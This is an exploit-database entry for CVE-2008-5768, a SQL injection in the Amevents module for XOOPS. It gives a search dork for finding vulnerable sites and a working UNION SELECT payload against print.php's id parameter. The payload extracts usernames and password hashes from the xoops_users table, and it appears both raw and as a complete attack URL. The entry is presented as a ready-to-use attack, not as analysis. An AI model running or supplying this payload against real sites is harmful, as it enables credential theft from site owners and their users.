XOOPS Module Amevents - SQL Injection

Author: nÃ©tRoot
type: webapps
platform: php
port: 
date_added: 2008-12-14 
date_updated: 2017-01-05 
verified: 1 
codes: OSVDB-51071;CVE-2008-5768 
tags: 
aliases:  
screenshot_url:  
application_url:

##########################################
#
# XOOPS Module:  Amevents
#
#
##########################################
#
##AUTHOR : netRoot
####HOME : http://www.passw0rd.info
#
####MAÄ°L : msn@passw0rd.info
#
###########################################
#
# DORKS : dork: /modules/amevents/print.php?id=
###########################################

target: scriptpage.com/modules/amevents/print.php?id=[sql Code]

Sql code: -98/**/union/**/select/**/1,2,3,4,uname,pass,7,8,9,10,11,12,13,14,15,16/**/from/**/xoops_users/*

live link: http://xxx.com/modules/amevents/print.php?id=-98/**/union/**/select/**/1,2,3,4,uname,pass,7,8,9,10,11,12,13,14,15,16/**/from/**/xoops_users/*

# milw0rm.com [2008-12-15]